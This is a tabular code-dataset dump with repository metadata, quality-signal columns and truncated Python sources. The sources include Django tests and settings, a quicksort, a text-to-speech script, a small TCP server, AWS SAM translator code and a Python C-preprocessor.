hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
dd40a6f098a3b0e41331e54d98f742cb251a3af3 | 1,882 | py | Python | app/core/tests/test_models.py | royandri/attendance | cecb7a91b5e048569299ae6dfb796c20051a16a9 | [
"MIT"
] | null | null | null | app/core/tests/test_models.py | royandri/attendance | cecb7a91b5e048569299ae6dfb796c20051a16a9 | [
"MIT"
] | null | null | null | app/core/tests/test_models.py | royandri/attendance | cecb7a91b5e048569299ae6dfb796c20051a16a9 | [
"MIT"
] | null | null | null | from django.test import TestCase
from django.contrib.auth import get_user_model
from core import models
from django.utils import timezone
def sample_user(email='test@mail.com', password='testpass'):
# Create a sample user
return get_user_model().objects.create_user(email, password)
class ModelTests(TestCase... | 33.607143 | 76 | 0.667906 | 233 | 1,882 | 5.2103 | 0.296137 | 0.051895 | 0.059308 | 0.078254 | 0.248764 | 0.200988 | 0.09061 | 0.062603 | 0 | 0 | 0 | 0 | 0.2322 | 1,882 | 55 | 77 | 34.218182 | 0.840138 | 0.122742 | 0 | 0 | 0 | 0 | 0.072384 | 0.026764 | 0 | 0 | 0 | 0 | 0.189189 | 1 | 0.162162 | false | 0.135135 | 0.108108 | 0.027027 | 0.324324 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
dd43d5641662aeed07a7ef83b6967c23588c8ac3 | 371 | py | Python | practice/algos/quick_sort/quick_sort.py | markfranciose/cheat_sheet_of_cheat_sheets | d126bbbb499af43098d3938e35df3381833cecac | [
"MIT"
] | null | null | null | practice/algos/quick_sort/quick_sort.py | markfranciose/cheat_sheet_of_cheat_sheets | d126bbbb499af43098d3938e35df3381833cecac | [
"MIT"
] | 20 | 2020-07-21T01:52:53.000Z | 2022-02-27T09:44:44.000Z | practice/algos/quick_sort/quick_sort.py | markfranciose/drops_of_knowledge | d126bbbb499af43098d3938e35df3381833cecac | [
"MIT"
] | null | null | null | def quick_sort(arr):
if len(arr) < 2:
return arr
pivot = arr.pop()
left = []
right = []
for num in arr:
if num > pivot:
right.append(num)
else:
left.append(num)
return quick_sort(left) + [pivot] + quick_sort(right)
arr = [1,2,2,... | 18.55 | 58 | 0.490566 | 55 | 371 | 3.236364 | 0.418182 | 0.202247 | 0.134831 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.067511 | 0.361186 | 371 | 19 | 59 | 19.526316 | 0.683544 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0 | 0 | 0.214286 | 0.071429 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd442063bf90797178fddb15d68e9d7b4d342147 | 157 | py | Python | Python/texttospeech.py | Rohit01-pro/All_Program_helper | 86b75ecc4ecb095f11e46e6f80c660e27dd22f27 | [
"MIT"
] | 16 | 2021-10-03T11:15:49.000Z | 2021-10-31T04:40:24.000Z | Python/texttospeech.py | Rohit01-pro/All_Program_helper | 86b75ecc4ecb095f11e46e6f80c660e27dd22f27 | [
"MIT"
] | 232 | 2021-10-02T14:51:43.000Z | 2021-11-14T08:23:27.000Z | Python/texttospeech.py | Rohit01-pro/All_Program_helper | 86b75ecc4ecb095f11e46e6f80c660e27dd22f27 | [
"MIT"
] | 166 | 2021-10-02T13:56:34.000Z | 2021-10-31T17:56:34.000Z | from gtts import gTTS
import os
f=open("1.txt")
x=f.read()
language='en'
audio=gTTS(text=x,lang=language,slow=False)
audio.save("1.wav")
os.system("1.wav")
| 15.7 | 43 | 0.707006 | 31 | 157 | 3.580645 | 0.645161 | 0.18018 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020833 | 0.082803 | 157 | 9 | 44 | 17.444444 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0.10828 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd470b99c72201568c8abe1bba1e9f7add60848f | 1,679 | py | Python | classmark/ui/home_section.py | mdocekal/ClassMark | e6019f9abeb99e9a6b72365a508d5a6dac13c3c7 | [
"Unlicense"
] | null | null | null | classmark/ui/home_section.py | mdocekal/ClassMark | e6019f9abeb99e9a6b72365a508d5a6dac13c3c7 | [
"Unlicense"
] | 2 | 2021-01-18T12:29:18.000Z | 2021-01-18T14:33:31.000Z | classmark/ui/home_section.py | windionleaf/ClassMark | e6019f9abeb99e9a6b72365a508d5a6dac13c3c7 | [
"Unlicense"
] | null | null | null | """
Created on 19. 12. 2018
Module for home section of the application.
:author: Martin Dočekal
:contact: xdocek09@stud.fit.vubtr.cz
"""
from .widget_manager import WidgetManager
from .section_router import SectionRouter
from functools import partial
from .models import ListLastExperiments
from PySide2.QtCore ... | 29.45614 | 96 | 0.661108 | 159 | 1,679 | 6.842767 | 0.496855 | 0.064338 | 0.057904 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008723 | 0.248958 | 1,679 | 57 | 97 | 29.45614 | 0.854084 | 0.297796 | 0 | 0 | 0 | 0 | 0.003956 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | false | 0 | 0.294118 | 0 | 0.529412 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
dd489e1ae7bc915c79a5ee9217ee84f8b92fa142 | 3,101 | py | Python | tests/test_maker.py | chfsx/pibooth | 4049fb748853ff90e53212336ff7d71bba6c1328 | [
"MIT"
] | null | null | null | tests/test_maker.py | chfsx/pibooth | 4049fb748853ff90e53212336ff7d71bba6c1328 | [
"MIT"
] | null | null | null | tests/test_maker.py | chfsx/pibooth | 4049fb748853ff90e53212336ff7d71bba6c1328 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import pytest
from pibooth.pictures.factory import PilPictureFactory, OpenCvPictureFactory
footer_texts = ('This is the main title', 'Footer text 2', 'Footer text 3')
footer_fonts = ('Amatic-Bold', 'DancingScript-Regular', 'Roboto-LightItalic')
footer_colors = ((10, 0, 0), (0, 50, 0), (0, 50, ... | 37.817073 | 82 | 0.751048 | 395 | 3,101 | 5.658228 | 0.159494 | 0.078747 | 0.085011 | 0.102908 | 0.789262 | 0.746756 | 0.684116 | 0.649217 | 0.649217 | 0.499329 | 0 | 0.046955 | 0.120929 | 3,101 | 81 | 83 | 38.283951 | 0.772927 | 0.006772 | 0 | 0.392857 | 0 | 0 | 0.091618 | 0.021443 | 0 | 0 | 0 | 0 | 0 | 1 | 0.196429 | false | 0 | 0.035714 | 0 | 0.232143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd5da8896dcd0d60de2ab7a1e52c8732ee3a4ea8 | 405 | py | Python | erp/migrations/0123_auto_20210513_1720.py | bzg/acceslibre | 52c7c6990dc132da71a92e856d65f4a983c3b15a | [
"MIT"
] | 8 | 2020-07-23T08:17:28.000Z | 2022-03-09T22:31:36.000Z | erp/migrations/0123_auto_20210513_1720.py | bzg/acceslibre | 52c7c6990dc132da71a92e856d65f4a983c3b15a | [
"MIT"
] | 37 | 2020-07-01T08:47:33.000Z | 2022-02-03T19:50:58.000Z | erp/migrations/0123_auto_20210513_1720.py | bzg/acceslibre | 52c7c6990dc132da71a92e856d65f4a983c3b15a | [
"MIT"
] | 4 | 2021-04-08T10:57:18.000Z | 2022-01-31T13:16:31.000Z | # Generated by Django 3.2 on 2021-05-13 15:20
import uuid
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("erp", "0122_auto_20210513_1720"),
]
operations = [
migrations.AlterField(
model_name="erp",
name="uuid",
... | 20.25 | 68 | 0.604938 | 45 | 405 | 5.355556 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.106529 | 0.281481 | 405 | 19 | 69 | 21.315789 | 0.721649 | 0.106173 | 0 | 0 | 1 | 0 | 0.091667 | 0.063889 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.153846 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd61bcf996578639e6980380d244d98682bbdae6 | 812 | py | Python | src/mylog/logger.py | JoeBuzh/Pm_Composition_Quallity_Control | 676c508a37c9a3774bf223e7abd53db04df771d7 | [
"MIT"
] | 1 | 2020-07-23T04:13:02.000Z | 2020-07-23T04:13:02.000Z | src/runtime/mylog/mylog.py | JoeBuzh/DeepWeather | 2677edc16d9865ec98401aaf121aaabd24974aaf | [
"MIT"
] | null | null | null | src/runtime/mylog/mylog.py | JoeBuzh/DeepWeather | 2677edc16d9865ec98401aaf121aaabd24974aaf | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import os
import logging
import logging.handlers
import time
def init_logger(log_file):
dir_path = os.path.dirname(log_file)
try:
if not os.path.exists(dir_path):
os.makedirs(dir_path)
except Exception as e:
pass
handler = logging.handlers.Rotat... | 31.230769 | 103 | 0.699507 | 102 | 812 | 5.431373 | 0.529412 | 0.151625 | 0.032491 | 0.108303 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02099 | 0.178571 | 812 | 25 | 104 | 32.48 | 0.809595 | 0.126847 | 0 | 0 | 0 | 0.052632 | 0.096454 | 0.041135 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0.052632 | 0.210526 | 0 | 0.315789 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
dd646968d684c4605ba1ae783d48a3452bbee81d | 933 | py | Python | Python/python-tutorials/networking/tcp_server.py | zhongyangynag/code-study | 5410929554107a384a09d899c6fa3d16ed383d2b | [
"MIT"
] | null | null | null | Python/python-tutorials/networking/tcp_server.py | zhongyangynag/code-study | 5410929554107a384a09d899c6fa3d16ed383d2b | [
"MIT"
] | null | null | null | Python/python-tutorials/networking/tcp_server.py | zhongyangynag/code-study | 5410929554107a384a09d899c6fa3d16ed383d2b | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import re
import sys
import socket
import SocketServer
import struct
import fcntl
import sys
def getip(ethname):
if ethname=="":
ethname="eth0"
try:
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ip=socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0X8915, struct.pack('256s', ethname[:15]))[2... | 21.697674 | 96 | 0.736334 | 127 | 933 | 5.291339 | 0.543307 | 0.133929 | 0.107143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032927 | 0.121115 | 933 | 42 | 97 | 22.214286 | 0.786585 | 0.081458 | 0 | 0.068966 | 0 | 0 | 0.044549 | 0 | 0 | 0 | 0.007034 | 0 | 0 | 0 | null | null | 0 | 0.241379 | null | null | 0.034483 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd6a3b230c4f4617de43080fbacd944fd76f81a8 | 182 | py | Python | Script Python/Desafios/Desafio-012.py | Hubyratan/Material-Python | 3f7910dd10b91cefe7b2f3f6aa49e9f9c522fd32 | [
"MIT"
] | 1 | 2020-05-11T04:05:56.000Z | 2020-05-11T04:05:56.000Z | Script Python/Desafios/Desafio-012.py | Hubyratan/Material-Python | 3f7910dd10b91cefe7b2f3f6aa49e9f9c522fd32 | [
"MIT"
] | null | null | null | Script Python/Desafios/Desafio-012.py | Hubyratan/Material-Python | 3f7910dd10b91cefe7b2f3f6aa49e9f9c522fd32 | [
"MIT"
] | null | null | null | v = float(input('Valor do produto? R$'))
d = float(input('Porcentagem de desconto: '))
ds = (d*v)/100
p = v-ds
print(f'Você recebeu R${ds} de desconto, e pagará somente R${p} reais') | 36.4 | 71 | 0.659341 | 34 | 182 | 3.529412 | 0.647059 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019355 | 0.148352 | 182 | 5 | 71 | 36.4 | 0.754839 | 0 | 0 | 0 | 0 | 0 | 0.579235 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd6dcaf577bcfeb980245ce8c8087ba55da11a51 | 1,241 | py | Python | pynetester/pynetester/netester.py | zoumingzhe/pynetester | 256776491b65d4b5f474754e02537f28a5961888 | [
"MIT"
] | null | null | null | pynetester/pynetester/netester.py | zoumingzhe/pynetester | 256776491b65d4b5f474754e02537f28a5961888 | [
"MIT"
] | null | null | null | pynetester/pynetester/netester.py | zoumingzhe/pynetester | 256776491b65d4b5f474754e02537f28a5961888 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# coding=utf-8
# ----------------------------------------------------------------------------------------------------
import socket
import os
# ----------------------------------------------------------------------------------------------------
# 类 netester
# -------------------------------------... | 45.962963 | 102 | 0.2361 | 66 | 1,241 | 4.424242 | 0.757576 | 0.089041 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021005 | 0.117647 | 1,241 | 26 | 103 | 47.730769 | 0.245662 | 0.702659 | 0 | 0 | 0 | 0 | 0.135294 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.222222 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd6f59dfe10afced9799503fae00bbea231ed3f2 | 7,121 | py | Python | cmepy/solver.py | hegland/cmepy | fa8cdf2fad779badbcb629bf6ee33316724ec4a4 | [
"BSD-3-Clause"
] | 6 | 2015-05-21T04:56:26.000Z | 2019-12-11T18:23:58.000Z | cmepy/solver.py | fcostin/cmepy | fa8cdf2fad779badbcb629bf6ee33316724ec4a4 | [
"BSD-3-Clause"
] | 1 | 2018-11-28T15:45:39.000Z | 2019-09-18T23:25:40.000Z | cmepy/solver.py | hegland/cmepy | fa8cdf2fad779badbcb629bf6ee33316724ec4a4 | [
"BSD-3-Clause"
] | 3 | 2017-05-13T06:56:08.000Z | 2021-09-01T14:20:52.000Z | """
Creates solvers for the Chemical Master Equation (CME).
"""
import numpy
from cmepy import cme_matrix, domain, ode_solver, other_solver, state_enum
from cmepy import model as mdl
def create_packing_functions(domain_enum):
"""
create_packing_functions(domain_enum) -> (pack, unpack)
where
... | 35.078818 | 79 | 0.602303 | 912 | 7,121 | 4.551535 | 0.216009 | 0.014454 | 0.007227 | 0.020236 | 0.190797 | 0.149121 | 0.126476 | 0.105035 | 0.105035 | 0.093953 | 0 | 0.008948 | 0.340823 | 7,121 | 202 | 80 | 35.252475 | 0.875373 | 0.038478 | 0 | 0.23913 | 0 | 0 | 0.074617 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.032609 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd79ddb1ceb718cc4031b1942143fae9a88b3147 | 80,373 | py | Python | samtranslator/model/sam_resources.py | aaythapa/serverless-application-model | 1029548db5787845d1a321d7c182aeb3716933ba | [
"Apache-2.0"
] | null | null | null | samtranslator/model/sam_resources.py | aaythapa/serverless-application-model | 1029548db5787845d1a321d7c182aeb3716933ba | [
"Apache-2.0"
] | null | null | null | samtranslator/model/sam_resources.py | aaythapa/serverless-application-model | 1029548db5787845d1a321d7c182aeb3716933ba | [
"Apache-2.0"
] | null | null | null | """ SAM macro definitions """
from six import string_types
import copy
import uuid
import samtranslator.model.eventsources
import samtranslator.model.eventsources.pull
import samtranslator.model.eventsources.push
import samtranslator.model.eventsources.cloudwatchlogs
from .api.api_generator import ApiGenerator
from .... | 47.333922 | 205 | 0.674617 | 8,766 | 80,373 | 5.971481 | 0.101415 | 0.024243 | 0.027949 | 0.023727 | 0.393497 | 0.323826 | 0.276086 | 0.248462 | 0.225156 | 0.196424 | 0 | 0.002911 | 0.247695 | 80,373 | 1,697 | 206 | 47.361815 | 0.862797 | 0.099635 | 0 | 0.288987 | 0 | 0 | 0.09473 | 0.015073 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.017621 | 0.028194 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd7bb92f20393f9e12f7115e84f70223584f154d | 928 | py | Python | media_logs/urls/audios.py | Akshayvm98/Django-School | 723d52db2cd3bc7665680a3adaf8687f97836d48 | [
"MIT"
] | 26 | 2015-08-04T00:13:27.000Z | 2021-03-19T01:01:14.000Z | media_logs/urls/audios.py | Akshayvm98/Django-School | 723d52db2cd3bc7665680a3adaf8687f97836d48 | [
"MIT"
] | null | null | null | media_logs/urls/audios.py | Akshayvm98/Django-School | 723d52db2cd3bc7665680a3adaf8687f97836d48 | [
"MIT"
] | 28 | 2015-01-19T15:10:15.000Z | 2020-10-27T11:22:21.000Z | from django.conf.urls.defaults import *
from media_logs.models import *
audio_list = {
'queryset': Audio.objects.all(),
}
audio_set_list = {
'queryset': AudioSet.objects.all(),
}
urlpatterns = patterns('',
url(
regex = '^sets/(?P<slug>[-\w]+)/$',
view = 'django.views.generic.list_detail.object_de... | 23.2 | 63 | 0.574353 | 108 | 928 | 4.712963 | 0.296296 | 0.078585 | 0.094303 | 0.172888 | 0.530452 | 0.479371 | 0.479371 | 0.385069 | 0.208251 | 0.208251 | 0 | 0 | 0.233836 | 928 | 39 | 64 | 23.794872 | 0.715893 | 0.034483 | 0 | 0.411765 | 0 | 0 | 0.346369 | 0.260335 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.058824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd8112f277127d953f0d1ded63b446df7043645e | 2,955 | py | Python | problems/graph-valid-tree.py | sailikhithk/tech-interview-prep | e833764cf98915d56118bddfa0e01871c58de75e | [
"Apache-2.0"
] | null | null | null | problems/graph-valid-tree.py | sailikhithk/tech-interview-prep | e833764cf98915d56118bddfa0e01871c58de75e | [
"Apache-2.0"
] | null | null | null | problems/graph-valid-tree.py | sailikhithk/tech-interview-prep | e833764cf98915d56118bddfa0e01871c58de75e | [
"Apache-2.0"
] | null | null | null | """
First of all a tree of N nodes must have exactly N-1 edges.
2 nodes need 1 edge to connect. 3 nodes need 2 edges to connect...
Just draw one or two, you will know it.
Valid tree don't have cycles, there are two ways to detect it.
DFS. and union find. Union find is more suitable in this sutuation.
1. Union find.
W... | 31.105263 | 99 | 0.702876 | 565 | 2,955 | 3.663717 | 0.274336 | 0.031884 | 0.013527 | 0.02029 | 0.1343 | 0.058937 | 0.041546 | 0.041546 | 0.041546 | 0.041546 | 0 | 0.030717 | 0.206768 | 2,955 | 94 | 100 | 31.43617 | 0.852389 | 0 | 0 | 0.171429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd820e8c14626563e752d4624969a2315eb254b9 | 8,831 | py | Python | project/settings.py | ziibii88/The_Doe_Agency | 2545aeae71c779166bef78941cac36551498ca76 | [
"MIT"
] | 2 | 2021-07-16T10:25:15.000Z | 2021-08-07T04:44:08.000Z | project/settings.py | ziibii88/The_Doe_Agency | 2545aeae71c779166bef78941cac36551498ca76 | [
"MIT"
] | null | null | null | project/settings.py | ziibii88/The_Doe_Agency | 2545aeae71c779166bef78941cac36551498ca76 | [
"MIT"
] | null | null | null | """
Django settings for project project.
Generated by 'django-admin startproject' using Django 3.2.5.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from datetime... | 32.112727 | 108 | 0.669347 | 952 | 8,831 | 6.007353 | 0.327731 | 0.047736 | 0.030775 | 0.034971 | 0.141983 | 0.131142 | 0.103864 | 0.103864 | 0.071516 | 0 | 0 | 0.013633 | 0.152757 | 8,831 | 274 | 109 | 32.229927 | 0.750735 | 0.304948 | 0 | 0.046243 | 1 | 0 | 0.485103 | 0.334321 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.046243 | 0.034682 | 0 | 0.034682 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd8f4efcbe0f27065a9ebbb9e0dbf84e6d87fb06 | 22,725 | py | Python | preprocess.py | cheery/pytci | 57b526b621da5e6783d15d73bac4ca57b281be70 | [
"MIT"
] | 148 | 2015-10-18T04:47:27.000Z | 2021-11-09T09:36:43.000Z | preprocess.py | cheery/pytci | 57b526b621da5e6783d15d73bac4ca57b281be70 | [
"MIT"
] | 3 | 2015-10-21T21:21:38.000Z | 2017-04-10T00:16:04.000Z | preprocess.py | cheery/pytci | 57b526b621da5e6783d15d73bac4ca57b281be70 | [
"MIT"
] | 10 | 2015-10-18T03:29:39.000Z | 2018-12-18T12:14:01.000Z | import tokenize, operator
macro_list = {}
def chomp(state, with_defined=False):
token = state.next_expanded_token()
while token is not None:
if name_of(token) == "macro":
for token in run_macro(state):
yield token
elif state.processing:
yield token
